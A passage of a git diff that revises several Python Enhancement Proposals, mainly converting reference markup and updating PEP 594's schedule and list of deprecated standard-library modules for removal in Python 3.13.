offset for the function pointer, +This PEP is broader in scope than :pep:`576` and uses variable rather than fixed offset function-pointers. +The underlying calling convention is similar. Because :pep:`576` only allows a fixed offset for the function pointer, it would not allow the improvements to any objects with constraints on their layout. -PEP 580 proposes a major change to the ``PyMethodDef`` protocol used to define builtin functions. +:pep:`580` proposes a major change to the ``PyMethodDef`` protocol used to define builtin functions. This PEP provides a more general and simpler mechanism in the form of a new calling convention. This PEP also extends the ``PyMethodDef`` protocol, but merely to formalise existing conventions. @@ -308,7 +308,7 @@ References .. [2] tp_call/PyObject_Call calling convention https://docs.python.org/3/c-api/typeobj.html#c.PyTypeObject.tp_call .. [3] Using PY_VECTORCALL_ARGUMENTS_OFFSET in callee - https://github.com/markshannon/cpython/blob/vectorcall-minimal/Objects/classobject.c#L53 + https://github.com/markshannon/cpython/blob/815cc1a30d85cdf2e3d77d21224db7055a1f07cb/Objects/classobject.c#L53 .. [4] Argument Clinic https://docs.python.org/3/howto/clinic.html diff --git a/pep-0591.rst b/pep-0591.rst index 6b6bacffcf5..5d5f8e0d408 100644 --- a/pep-0591.rst +++ b/pep-0591.rst @@ -62,7 +62,7 @@ situations: * Allowing a name to be used in situations where ordinarily a literal is expected (for example as a field name for ``NamedTuple``, a tuple of types passed to ``isinstance``, or an argument to a function - with arguments of ``Literal`` type [#PEP-586]_). + with arguments of ``Literal`` type (:pep:`586`)). Specification ============= @@ -279,16 +279,6 @@ desired is to use this idiom (possibly in a support module):: References ========== -.. [#PEP-484] PEP 484, Type Hints, van Rossum, Lehtosalo, Langa - (http://www.python.org/dev/peps/pep-0484) - -.. [#PEP-526] PEP 526, Syntax for Variable Annotations, Gonzalez, - House, Levkivskyi, Roach, van Rossum - (http://www.python.org/dev/peps/pep-0526) - -.. [#PEP-586] PEP 586, Literal Types, Lee, Levkivskyi, Lehtosalo - (http://www.python.org/dev/peps/pep-0586) - .. [#mypy] http://www.mypy-lang.org/ .. [#typing_extensions] https://github.com/python/typing/tree/master/typing_extensions diff --git a/pep-0592.rst b/pep-0592.rst index 961b6d7c6a1..298720e6aec 100644 --- a/pep-0592.rst +++ b/pep-0592.rst @@ -2,9 +2,10 @@ PEP: 592 Title: Adding "Yank" Support to the Simple API Author: Donald Stufft BDFL-Delegate: Paul Moore -Discussions-To: https://discuss.python.org/c/packaging +Discussions-To: https://discuss.python.org/t/1629 Status: Final Type: Standards Track +Topic: Packaging Content-Type: text/x-rst Created: 07-May-2019 Resolution: https://discuss.python.org/t/pep-592-support-for-yanked-files-in-the-simple-repository-api/1629/30 @@ -108,7 +109,7 @@ suggested approaches to take: matches a version specifier that "pins" to an exact version using either ``==`` (without any modifiers that make it a range, such as ``.*``) or ``===``. Matching this version specifier should otherwise - be done as per PEP 440 for things like local versions, zero padding, + be done as per :pep:`440` for things like local versions, zero padding, etc. 2. Yanked files are always ignored, unless they are the only file that matches what a lock file (such as ``Pipfile.lock`` or ``poetry.lock``) diff --git a/pep-0593.rst b/pep-0593.rst index 2a8da4bc1f7..00a72a66c2f 100644 --- a/pep-0593.rst +++ b/pep-0593.rst @@ -19,12 +19,12 @@ This PEP introduces a mechanism to extend the type annotations from PEP Motivation ---------- -PEP 484 provides a standard semantic for the annotations introduced in -PEP 3107. PEP 484 is prescriptive but it is the de facto standard +:pep:`484` provides a standard semantic for the annotations introduced in +:pep:`3107`. :pep:`484` is prescriptive but it is the de facto standard for most of the consumers of annotations; in many statically checked code bases, where type annotations are widely used, they have effectively crowded out any other form of annotation. Some of the use -cases for annotations described in PEP 3107 (database mapping, +cases for annotations described in :pep:`3107` (database mapping, foreign languages bridge) are not currently realistic given the prevalence of type annotations. Furthermore, the standardisation of type annotations rules out advanced features only supported by specific type @@ -43,13 +43,14 @@ should ignore it and simply treat the type as ``T``. Unlike the ``no_type_check`` functionality that currently exists in the ``typing`` module which completely disables typechecking annotations on a function or a class, the ``Annotated`` type allows for both static typechecking -of ``T`` (e.g., via mypy [mypy]_ or Pyre [pyre]_, which can safely ignore ``x``) +of ``T`` (e.g., via `mypy `_ or `Pyre `_, +which can safely ignore ``x``) together with runtime access to ``x`` within a specific application. The introduction of this type would address a diverse set of use cases of interest to the broader Python community. -This was originally brought up as issue 600 [issue-600]_ in the typing github -and then discussed in Python ideas [python-ideas]_. +This was originally brought up as `issue 600 `_ in the typing github +and then discussed in `Python ideas `_. Motivating examples ------------------- @@ -81,21 +82,21 @@ Lowering barriers to developing new typing constructs ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Typically when adding a new type, a developer need to upstream that type to the -typing module and change mypy, PyCharm [pycharm]_, Pyre, pytype [pytype]_, +typing module and change mypy, `PyCharm `_, Pyre, `pytype `_, etc... This is particularly important when working on open-source code that makes use of these types, seeing as the code would not be immediately transportable to other developers' tools without additional logic. As a result, there is a high cost to developing and trying out new types in a codebase. Ideally, authors should be able to introduce new types in a manner that allows -for graceful degradation (e.g.: when clients do not have a custom mypy plugin -[mypy-plugin]_), which would lower the barrier to development and ensure some +for graceful degradation (e.g.: when clients do not have a custom `mypy plugin +`_), which would lower the barrier to development and ensure some degree of backward compatibility. -For example, suppose that an author wanted to add support for tagged unions -[tagged-union]_ to Python. One way to accomplish would be to annotate -``TypedDict`` [typed-dict]_ in Python such that only one field is allowed to be -set:: +For example, suppose that an author wanted to add support for `tagged unions +`_ to Python. One way to accomplish would be to `annotate +`_ ``TypedDict`` in Python such that only one field is allowed +to be set:: Currency = Annotated[ TypedDict('Currency', {'dollars': float, 'pounds': float}, total=False), @@ -236,7 +237,7 @@ cause ``Annotated`` to not integrate cleanly with the other typing annotations: * ``Annotated`` cannot infer the decorated type. You could imagine that ``Annotated[..., Immutable]`` could be used to mark a value as immutable while still inferring its type. Typing does not support using the - inferred type anywhere else [issue-276]_; it's best to not add this as a + inferred type `anywhere else `_; it's best to not add this as a special case. * Using ``(Type, Ann1, Ann2, ...)`` instead of @@ -253,40 +254,34 @@ This feature was left out to keep the design simple: little benefit. -References ----------- - -.. [issue-600] +.. _issue-600: https://github.com/python/typing/issues/600 -.. [python-ideas] +.. _python-ideas: https://mail.python.org/pipermail/python-ideas/2019-January/054908.html -.. [struct-doc] - https://docs.python.org/3/library/struct.html#examples - -.. [mypy] - http://www.mypy-lang.org/ +.. _mypy: + http://www.mypy-lang.org/ -.. [pyre] +.. _pyre: https://pyre-check.org/ -.. [pycharm] +.. _pycharm: https://www.jetbrains.com/pycharm/ -.. [pytype] +.. _pytype: https://github.com/google/pytype -.. [mypy-plugin] +.. _mypy-plugin: https://github.com/python/mypy_extensions -.. [tagged-union] +.. _tagged-union: https://en.wikipedia.org/wiki/Tagged_union -.. [typed-dict] +.. _typed-dict: https://mypy.readthedocs.io/en/latest/more_types.html#typeddict -.. [issue-276] +.. _issue-276: https://github.com/python/typing/issues/276 Copyright diff --git a/pep-0594.rst b/pep-0594.rst index 3cb41288ba0..1c3cf367ebb 100644 --- a/pep-0594.rst +++ b/pep-0594.rst @@ -1,12 +1,15 @@ PEP: 594 Title: Removing dead batteries from the standard library -Author: Christian Heimes -Discussions-To: https://discuss.python.org/t/pep-594-removing-dead-batteries-from-the-standard-library/1704 -Status: Draft +Author: Christian Heimes , + Brett Cannon +Discussions-To: https://discuss.python.org/t/13508 +Status: Accepted Type: Standards Track Content-Type: text/x-rst Created: 20-May-2019 -Post-History: 21-May-2019 +Python-Version: 3.11 +Post-History: 21-May-2019, 04-Feb-2022 +Resolution: https://discuss.python.org/t/13508/22 Abstract @@ -18,7 +21,7 @@ and SUN file formats), APIs and operating systems that have been superseded a long time ago (e.g. Mac OS 9), or modules that have security implications and better alternatives (e.g. password and login). -The PEP follows in the foot steps of other PEPS like :pep:`3108`. The +The PEP follows in the footsteps of other PEPS like :pep:`3108`. The *Standard Library Reorganization* proposal removed a bunch of modules from Python 3.0. In 2007, the PEP referred to maintenance burden as: @@ -29,7 +32,7 @@ Python 3.0. In 2007, the PEP referred to maintenance burden as: up an undue amount of time and effort." The withdrawn :pep:`206` from 2000 expresses issues with the Python standard -library unvarnished and fortright: +library in an unvarnished and forthright manner: "[...] the standard library modules aren't always the best choices for a job. Some library modules were quick hacks (e.g. ``calendar``, @@ -47,13 +50,13 @@ philosophy and was one of the cornerstones to Python's success story. Users didn't have to figure out how to download and install separate packages in order to write a simple web server or parse email. -Times have changed. The introduction of the cheese shop (PyPI), setuptools, +Times have changed. With the introduction of PyPI (née Cheeseshop), setuptools, and later pip, it became simple and straightforward to download and install packages. Nowadays Python has a rich and vibrant ecosystem of third-party packages. It's pretty much standard to either install packages from PyPI or use one of the many Python or Linux distributions. -On the other hand, Python's standard library is piling up cruft, unnecessary +On the other hand, Python's standard library is piling up with cruft, unnecessary duplication of functionality, and dispensable features. This is undesirable for several reasons. @@ -71,7 +74,7 @@ for several reasons. Micro:bit). Python on mobile platforms like BeeWare or WebAssembly (e.g. pyodide) also benefit from reduced download size. -The modules in the PEP have been selected for deprecation because their +The modules in this PEP have been selected for deprecation because their removal is either least controversial or most beneficial. For example, least controversial are 30-year-old multimedia formats like the ``sunau`` audio format, which was used on SPARC and NeXT workstations in the late @@ -91,7 +94,7 @@ code is not permitted without legal approval. * The ``optparse`` and ``getopt`` modules are widely used. They are mature modules with very low maintenance overhead. * According to David Beazley [5]_ the ``wave`` module is easy to teach to - kids and can make crazy sounds. Making a computer generate crazy sounds is + kids and can make crazy sounds. Making a computer generate sounds is a powerful and highly motivating exercise for a nine-year-old aspiring developer. It's a fun battery to keep. @@ -99,59 +102,25 @@ code is not permitted without legal approval. Deprecation schedule ==================== -3.8 ---- - -This PEP targets Python 3.8. Version 3.8.0 final is scheduled to be released -a few months before Python 2.7 will reach its end of lifetime. We expect that -Python 3.8 will be targeted by users that migrate to Python 3 in 2019 and -2020. To reduce churn and to allow a smooth transition from Python 2, -Python 3.8 will neither raise ``DeprecationWarning`` nor remove any -modules that have been scheduled for removal. Instead deprecated modules will -just be *documented* as deprecated. Optionally modules may emit a -``PendingDeprecationWarning``. - -All deprecated modules will also undergo a feature freeze. No additional -features should be added *unless* python-dev agrees that the deprecation of -the module is reverted and the code will not be removed. Bug should still be -fixed. - -3.9 ---- - -Starting with Python 3.9, deprecated modules will start issuing -``DeprecationWarning``. The `parser`_ module is removed and potentially -replaced with a new module. - -All other deprecated modules are fully supported and will receive security -updates until Python 3.9 reaches its end-of-life. Python 3.9.0 will -be released about 18 months after 3.8.0 (April 2021?) and most likely -be supported for five years after the release. The estimated EOL of Python 3.9 -is in 2026. - -3.10 +3.11 ---- -In 3.10 all deprecated modules will be removed from the CPython repository -together with tests, documentation, and autoconf rules. +Starting with Python 3.11, deprecated modules will start issuing +``DeprecationWarning``. The estimated EOL of Python 3.10, the last +version without the warning, is October 2026. +3.12 +---- -PEP acceptance process -====================== - -3.8.0b1 is scheduled to be release shortly after the PEP is officially -submitted. Since it's improbable that the PEP will pass all stages of the -PEP process in time, I propose a two-step acceptance process that is -analogous to Python's two-release deprecation process. +There should be no specific change compared to Python 3.11. +This is the last version of Python with the deprecated modules, +with an estimated EOL of October 2028. -The first *provisionally-accepted* phase targets Python 3.8.0b1. In the first -phase no code is changed or removed. Modules are only documented as -deprecated. The only exception is the `parser`_ module. It has been -documented as deprecated since Python 2.5 and is scheduled for removal for -3.9 to make place for a more advanced parser. +3.13 +---- -The final decision, which modules will be removed and how the removed code -is preserved, can be delayed for another year. +All modules deprecated by this PEP are removed from the ``main`` branch +of the CPython repository and are no longer distributed as part of Python. Deprecated modules @@ -167,39 +136,34 @@ audio processing. :header: "Module", "Deprecated in", "To be removed", "Added in", "Has maintainer?", "Replacement" :widths: 2, 1, 1, 1, 1, 2 - aifc,3.8 (3.0\*),3.10,1993,**yes (inactive)**,\- - asynchat,**3.6** (3.0\*),3.10,1999,**yes**,asyncio_ - asyncore,**3.6** (3.0\*),3.10,1999,**yes**,asyncio_ - audioop,3.8 (3.0\*),3.10,1992,**yes**,\- - binhex,3.8,3.10,1995,no,\- - cgi,3.8 (2.0\*\*),3.10,1995,no,\- - cgitb,3.8 (2.0\*\*),3.10,1995,no,\- - chunk,3.8,3.10,1999,no,\- - crypt,3.8,3.10,1994,**yes (inactive)**,"legacycrypt_, bcrypt_, argon2cffi_, hashlib_, passlib_" - formatter,**3.4**,3.10,1995,no,\- - fpectl,**3.7**,**3.7**,1997,n/a,\- - imghdr,3.8,3.10,1992,no,"filetype_, puremagic_, python-magic_" - imp,**3.4**,3.10,1990/1995,no,importlib_ - macpath,**3.7**,**3.8**,1990,n/a,\- - msilib,3.8,3.10,2006,no,\- - nntplib,3.8,3.10,1992,no,\- - nis,3.8 (3.0\*),3.10,1992,no,\- - ossaudiodev,3.8,3.10,2002,no,\- - parser,**2.5**,**3.9**,1993,**yes**,"ast_, astroid_, lib2to3.pgen2" - pipes,3.8,3.10,1992,no,"subprocess_" - smtpd,"**3.4.7**, **3.5.4**",3.10,2001,**yes**,"aiosmtpd_" - sndhdr,3.8,3.10,1994,no,"filetype_, puremagic_, python-magic_" - spwd,3.8,3.10,2005,no,"python-pam_, simplepam_" - sunau,3.8 (3.0\*),3.10,1993,no,\- - telnetlib,3.8 (3.0\*),3.10,1997,no,"telnetlib3_, Exscript_" - uu,3.8,3.10,1994,no,\- - xdrlib,3.8,3.10,1992/1996,no,\- + aifc,3.11 (3.0\*),3.13,1993,**yes (inactive)**,\- + asynchat,**3.6** (3.0\*),3.12,1999,**yes**,asyncio_ + asyncore,**3.6** (3.0\*),3.12,1999,**yes**,asyncio_ + audioop,3.11 (3.0\*),3.13,1992,**yes**,\- + cgi,3.11 (2.0\*\*),3.13,1995,no,\- + cgitb,3.11 (2.0\*\*),3.13,1995,no,\- + chunk,3.11,3.13,1999,no,\- + crypt,3.11,3.13,1994,**yes (inactive)**,"legacycrypt_, bcrypt_, argon2-cffi_, hashlib_, passlib_" + imghdr,3.11,3.13,1992,no,"filetype_, puremagic_, python-magic_" + mailcap,3.11,3.13,1995,no,\- + msilib,3.11,3.13,2006,no,\- + nntplib,3.11,3.13,1992,no,\- + nis,3.11 (3.0\*),3.13,1992,no,\- + ossaudiodev,3.11,3.13,2002,no,\- + pipes,3.11,3.13,1992,no,"subprocess_" + smtpd,"**3.4.7**, **3.5.4**",3.12,2001,**yes**,"aiosmtpd_" + sndhdr,3.11,3.13,1994,no,"filetype_, puremagic_, python-magic_" + spwd,3.11,3.13,2005,no,"python-pam_" + sunau,3.11 (3.0\*),3.13,1993,no,\- + telnetlib,3.11 (3.0\*),3.13,1997,no,"telnetlib3_, Exscript_" + uu,3.11,3.13,1994,no,\- + xdrlib,3.11,3.13,1992/1996,no,\- .. _aiosmtpd: https://pypi.org/project/aiosmtpd/ -.. _argon2cffi: https://pypi.org/project/argon2-cffi/ +.. _argon2-cffi: https://pypi.org/project/argon2-cffi/ .. _ast: https://docs.python.org/3/library/ast.html .. _astroid: https://pypi.org/project/astroid/ -.. _asyncio: https://docs.python.org/3/library/hashlib.html +.. _asyncio: https://docs.python.org/3/library/asyncio.html .. _bcrypt: https://pypi.org/project/bcrypt/ .. _Exscript: https://pypi.org/project/Exscript/ .. _filetype: https://pypi.org/project/filetype/ @@ -224,24 +188,6 @@ experts and maintainers in the DevGuide. Data encoding modules --------------------- -binhex -~~~~~~ - -The `binhex `_ module encodes -and decodes Apple Macintosh binhex4 data. It was originally developed for -TRS-80. In the 1980s and early 1990s it was used on classic Mac OS 9 to -encode binary email attachments. - -Module type - pure Python -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - **none** uu and the uu encoding ~~~~~~~~~~~~~~~~~~~~~~ @@ -252,16 +198,6 @@ format has been replaced by MIME. The uu codec is provided by the ``binascii`` module. There's also ``encodings/uu_codec.py`` which is a codec for the same encoding; it should also be deprecated. -Module type - pure Python -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - **none** xdrlib ~~~~~~ @@ -271,17 +207,6 @@ the Sun External Data Representation Standard. XDR is an old binary serialization format from 1987. These days it's rarely used outside specialized domains like NFS. -Module type - pure Python -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - **none** - Multimedia modules ------------------ @@ -295,23 +220,13 @@ File Format is an old audio format from 1988 based on Amiga IFF. It was most commonly used on the Apple Macintosh. These days only few specialized application use AIFF. -A user disclosed [8]_ that the post production film industry makes heavy +A user disclosed [6]_ that the post production film industry makes heavy use of the AIFC file format. The usage of the ``aifc`` module in closed source and internal software was unknown prior to the first posting of this PEP. This may be a compelling argument to keep the ``aifc`` module in the standard library. The file format is stable and the module does not require much maintenance. The strategic benefits for Python may outmatch the burden. -Module type - pure Python (depends on some functions from `audioop`_ C extension) -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - yes, but expert is currently inactive. -Substitute - **none** audioop ~~~~~~~ @@ -328,16 +243,6 @@ the ``audioop`` module is converted into a private implementation detail, e.g. ``_audioop`` with ``byteswap``, ``alaw2lin``, ``ulaw2lin``, ``lin2alaw``, ``lin2ulaw``, and ``lin2adpcm``. -Module type - C extension -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - yes -Substitute - **none** chunk ~~~~~ @@ -347,16 +252,6 @@ support for reading and writing Electronic Arts' Interchange File Format. IFF is an old audio file format originally introduced for Commodore and Amiga. The format is no longer relevant. -Module type - pure Python -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - **none** imghdr ~~~~~~ @@ -366,18 +261,6 @@ simple tool to guess the image file format from the first 32 bytes of a file or buffer. It supports only a limited number of formats and neither returns resolution nor color depth. -Module type - pure Python -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - `puremagic `_, - `filetype `_, - `python-magic `_ ossaudiodev ~~~~~~~~~~~ @@ -386,7 +269,7 @@ The `ossaudiodev `_ module provides support for Open Sound System, an interface to sound playback and capture devices. OSS was initially free software, but later support for newer sound devices and improvements were proprietary. Linux -community abandoned OSS in favor of ALSA [1]_. Some operation systems like +community abandoned OSS in favor of ALSA [1]_. Some operating systems like OpenBSD and NetBSD provide an incomplete [2]_ emulation of OSS. To best of my knowledge, FreeBSD is the only widespread operating system @@ -397,19 +280,9 @@ for both FreeBSD community and core development, if the module would be maintained and distributed by people that care for it and use it. The standard library used to have more audio-related modules. The other -audio device interface (``audiodev``, ``linuxaudiodev``, ``sunaudiodev``) +audio device interfaces (``audiodev``, ``linuxaudiodev``, ``sunaudiodev``) were removed in 2007 as part of the :pep:`3108` stdlib re-organization. -Module type - C extension -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - **none** sndhdr ~~~~~~ @@ -420,36 +293,13 @@ format, channels, frame rate, and sample widths from the first 512 bytes of a file or buffer. The module only supports AU, AIFF, HCOM, VOC, WAV, and other ancient formats. -Module type - pure Python (depends on `audioop`_ C extension for some operations) -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - `puremagic `_, - `filetype `_, - `python-magic `_ sunau ~~~~~ -The `sunau `_ module provides +The `sunau `_ module provides support for Sun AU sound format. It's yet another old, obsolete file format. -Module type - pure Python (depends on `audioop`_ C extension for some operations) -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - **none** - Networking modules ------------------ @@ -460,16 +310,6 @@ asynchat The `asynchat `_ module is built on top of `asyncore`_ and has been deprecated since Python 3.6. -Module type - pure Python -Deprecated in - 3.6 -Removed in - 3.10 -Has a designated expert - yes -Substitute - asyncio asyncore ~~~~~~~~ @@ -483,17 +323,6 @@ The ``asyncore`` module is also used in stdlib tests. The tests for based on ``asyncore``. These tests must be updated to use asyncio or threading. -Module type - pure Python -Deprecated in - 3.6 -Removed in - 3.10 -Has a designated expert - yes -Substitute - asyncio - cgi ~~~ @@ -505,24 +334,34 @@ inefficient because every incoming request is handled in a new process. "[...] designed poorly and are now near-impossible to fix (``cgi``) [...]" -Several people proposed to either keep the ``cgi`` module for features like -``cgi.parse_qs`` or move ``cgi.escape`` to a different module. The -functions ``cgi.parse_qs`` and ``cgi.parse_qsl`` have been -deprecated for a while and are actually aliases for -``urllib.parse.parse_qs`` and ``urllib.parse.parse_qsl``. The -function ``cgi.quote`` has been deprecated in favor of ``html.quote`` -with secure default values. - -Module type - pure Python -Deprecated in - 3.8 (originally proposed for 2.0 by :pep:`206`) -To be removed in - 3.10 -Has a designated expert - no -Substitute - **none** +Replacements for the various parts of ``cgi`` which are not directly +related to executing code are: + +- ``parse`` with ``urllib.parse.parse_qs`` (``parse`` is just a wrapper) +- ``parse_header`` with ``email.message.Message`` (see example below) +- ``parse_multipart`` with ``email.message.Message`` (same MIME RFCs) +- ``FieldStorage``/``MiniFieldStorage`` has no direct replacement, but can + typically be replaced by using `multipart + `_ (for ``POST`` and ``PUT`` + requests) or ``urllib.parse.parse_qsl`` (for ``GET`` and ``HEAD`` + requests) +- ``valid_boundary`` (undocumented) with ``re.compile("^[ -~]{0,200}[!-~]$")`` + +As an explicit example of how close ``parse_header`` and +``email.message.Message`` are: + +.. code-block:: pycon + + >>> from cgi import parse_header + >>> from email.message import Message + >>> parse_header(h) + ('application/json', {'charset': 'utf8'}) + >>> m = Message() + >>> m['content-type'] = h + >>> m.get_params() + [('application/json', ''), ('charset', 'utf8')] + >>> m.get_param('charset') + 'utf8' cgitb @@ -535,16 +374,6 @@ The ``cgitb`` module is not used by any major Python web framework (Django, Pyramid, Plone, Flask, CherryPy, or Bottle). Only Paste uses it in an optional debugging middleware. -Module type - pure Python -Deprecated in - 3.8 (originally proposed for 2.0 by :pep:`206`) -To be removed in - 3.10 -Has a designated expert - no -Substitute - **none** smtpd ~~~~~ @@ -554,16 +383,6 @@ a simple implementation of a SMTP mail server. The module documentation marks the module as deprecated and recommends ``aiosmtpd`` instead. The deprecation message was added in releases 3.4.7, 3.5.4, and 3.6.1. -Module type - pure Python -Deprecated in - **3.4.7**, **3.5.4**, **3.6.1** -To be removed in - 3.10 -Has a designated expert - yes -Substitute - aiosmtpd nntplib ~~~~~~~ @@ -579,21 +398,11 @@ activity since 2014. This is a good indicator that the public interest in NNTP support is declining. The ``nntplib`` tests have been the cause of additional work in the recent -past. Python only contains client side of NNTP. The tests connect to -external news server. The servers are sometimes unavailable, too slow, or do +past. Python only contains the client side of NNTP, so the tests connect to +external news servers. The servers are sometimes unavailable, too slow, or do not work correctly over IPv6. The situation causes flaky test runs on buildbots. -Module type - pure Python -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - **none** telnetlib ~~~~~~~~~ @@ -601,16 +410,6 @@ telnetlib The `telnetlib `_ module provides a Telnet class that implements the Telnet protocol. -Module type - pure Python -Deprecated in - 3.8 -To be removed in - 3.10 -Substitute - telnetlib3_, - Exscript_ - Operating system interface -------------------------- @@ -621,7 +420,7 @@ crypt The `crypt `_ module implements password hashing based on the ``crypt(3)`` function from ``libcrypt`` or ``libxcrypt`` on Unix-like platforms. The algorithms are mostly old, of poor -quality and insecure. Users are discouraged to use them. +quality and insecure. Users are discouraged from using them. * The module is not available on Windows. Cross-platform applications need an alternative implementation anyway. @@ -636,61 +435,19 @@ quality and insecure. Users are discouraged to use them. * The module was never useful to interact with system user and password databases. On BSD, macOS, and Linux, all user authentication and password modification operations must go through PAM (pluggable - authentication module), see `spwd`_ deprecation. - -Module type - C extension + Python module -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - yes, but expert is currently inactive. -Substitute - `legacycrypt `_ (ctypes wrapper), - `bcrypt `_, - `passlib `_, - `argon2cffi `_, - hashlib module (PBKDF2, scrypt) - -macpath -~~~~~~~ + authentication module); see the `spwd`_ deprecation. -The `macpath `_ module -provides Mac OS 9 implementation of ``os.path`` routines. Mac OS 9 is no longer -supported. - -Module type - pure Python -Deprecated in - 3.7 -Removed in - 3.8 -Has a designated expert - n/a -Substitute - **none** nis ~~~ The `nis `_ module provides NIS/YP support. Network Information Service / Yellow Pages is an old and -deprecated directory service protocol developed by Sun Microsystems. It's +deprecated directory service protocol developed by Sun Microsystems. Its designed successor NIS+ from 1992 never took off. For a long time, libc's -Name Service Switch, LDAP, and Kerberos/GSSAPI are considered a more powerful -and more secure replacement of NIS. - -Module type - C extension -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - **none** +Name Service Switch, LDAP, and Kerberos/GSSAPI have been considered a more powerful +and more secure replacement for NIS. + spwd ~~~~ @@ -698,69 +455,33 @@ spwd The `spwd `_ module provides direct access to Unix shadow password database using non-standard APIs. -In general it's a bad idea to use spwd. It circumvents system +In general, it's a bad idea to use ``spwd``. It circumvents system security policies, does not use the PAM stack, and is only compatible with local user accounts, because it ignores NSS. The use of the ``spwd`` module for access control must be considered a *security bug*, as it bypasses PAM's access control. -Further more the ``spwd`` module uses the +Furthermore, the ``spwd`` module uses the `shadow(3) `_ APIs. Functions like ``getspnam(3)`` access the ``/etc/shadow`` file directly. This is dangerous and even forbidden for confined services on systems with a security engine like SELinux or AppArmor. -Module type - C extension -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - `python-pam `_, - `simpleplam `_ Misc modules ------------ -formatter -~~~~~~~~~ +mailcap +~~~~~~~ -The `formatter `_ module -is an old text formatting module which has been deprecated since Python 3.4. - -Module type - pure Python -Deprecated in - 3.4 -To be removed in - 3.10 -Has a designated expert - no -Substitute - *n/a* - -imp -~~~ +The `mailcap `__ package +reads *mail capability* files to assist in handling a file attachment in +an email. In most modern operating systems the email client itself handles reacting to +file attachments. Operating systems also have their own way to register +handling files by their file name extension. Finally, the module has +`CVE-2015-20107 `__ filed +against it while having no maintainer to help fix it. -The `imp `_ module is the -predecessor of the -`importlib `_ module. Most -functions have been deprecated since Python 3.3 and the module since -Python 3.4. - -Module type - C extension -Deprecated in - 3.4 -To be removed in - 3.10 -Has a designated expert - yes, experts have deprecated the module -Substitute - importlib msilib ~~~~~~ @@ -773,49 +494,8 @@ module is used to facilitate distutils to create MSI installers with the Windows installer, too. Microsoft is slowly moving away from MSI in favor of Windows 10 Apps (AppX) -as new deployment model [3]_. - -Module type - C extension + Python code -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - **none** - -parser -~~~~~~ +as a new deployment model [3]_. -The `parser `_ module provides -an interface to Python’s internal parser and bytecode compiler. The stdlib -has superior ways to interact with the parse tree. From Python 2.5 onward, -it's much more convenient to cut in at the Abstract Syntax Tree (AST) -generation and compilation stage. - -The ``parser`` module causes additional work. It's C code that must be -kept in sync with any change to Python's grammar and internal parser. -Pablo wants to remove the parser module and promote lib2to3's pgen2 instead -[6]_. - -Most importantly the presence of the ``parser`` module makes it harder to -switch to something more powerful than a LL(1) parser [7]_. Since the -``parser`` module is documented as deprecated since Python 2.5 and a new -parsing technology is planned for 3.9, the ``parser`` module is scheduled for -removal in 3.9. - -Module type - C extension -Deprecated in - 3.8, documented as deprecated since **2.5** -To be removed in - **3.9** -Has a designated expert - yes, experts have deprecated the module. -Substitute - ast, lib2to3.pgen2 pipes ~~~~~ @@ -823,47 +503,14 @@ pipes The `pipes `_ module provides helpers to pipe the input of one command into the output of another command. The module is built on top of ``os.popen``. Users are encouraged to use -the subprocess module instead. - -Module type - pure Python -Deprecated in - 3.8 -To be removed in - 3.10 -Has a designated expert - no -Substitute - subprocess module - -Removed modules -=============== - -fpectl ------- - -The `fpectl `_ module was -never built by default, its usage was discouraged and considered dangerous. -It also required a configure flag that caused an ABI incompatibility. The -module was removed in 3.7 by Nathaniel J. Smith in -`bpo-29137 `_. - -Module type - C extension + CAPI -Deprecated in - 3.7 -Removed in - 3.7 -Has a designated expert - n/a -Substitute - **none** +the ``subprocess`` module instead. Modules to keep =============== -Some modules were originally proposed for deprecation. +Some modules were originally proposed for deprecation but are no longer +listed as such in this PEP. .. csv-table:: Table 2: Withdrawn deprecations :header: "Module", "Deprecated in", "Replacement" @@ -872,7 +519,6 @@ Some modules were originally proposed for deprecation. colorsys,\-,"colormath, colour, colorspacious, Pillow" fileinput,\-,argparse getopt,\-,"argparse, optparse" - lib2to3,\-, optparse,**3.2**,argparse wave,\-, @@ -892,45 +538,18 @@ The PyPI packages ``colormath``, ``colour``, and ``colorspacious`` provide more advanced features. The Pillow library is better suited to transform images between color systems. -Module type - pure Python -Has a designated expert - no -Substitute - `colormath `_, - `colour `_ - `colorspacious `_, - `Pillow `_ fileinput --------- The `fileinput `_ module implements helpers to iterate over a list of files from ``sys.argv``. The -module predates the ``optparser`` and ``argparser`` modules. The same functionality -can be implemented with the ``argparser`` module. +module predates the ``optparse`` and ``argparse`` modules. The same functionality +can be implemented with the ``argparse`` module. Several core developers expressed their interest to keep the module in the standard library, as it is handy for quick scripts. -Module type - pure Python -Has a designated expert - no - -lib2to3 -------- - -The `lib2to3 `_ package provides -the ``2to3`` command to transpile Python 2 code to Python 3 code. - -The package is useful for other tasks besides porting code from Python 2 to -3. For example, `Black`_ uses it for code reformatting. - -Module type - pure Python -Has a designated expert - no getopt ------ @@ -942,12 +561,6 @@ Although users are encouraged to use ``argparse`` instead, the ``getopt`` module still widely used. The module is small, simple, and handy for C developers to write simple Python scripts. -Module type - pure Python -Has a designated expert - no -Substitute - argparse optparse -------- @@ -958,14 +571,6 @@ the predecessor of the ``argparse`` module. Although it has been deprecated for many years, it's still too widely used to remove it. -Module type - pure Python -Deprecated in - 3.2 -Has a designated expert - yes -Substitute - argparse wave ---- @@ -973,7 +578,7 @@ wave The `wave `_ module provides support for the WAV sound format. -The module is not deprecated, because The WAV format is still relevant these +The module is not deprecated, because the WAV format is still relevant these days. The ``wave`` module is also used in education, e.g. to show kids how to make noise with a computer. @@ -984,55 +589,16 @@ module. To remove ``wave``'s dependency on 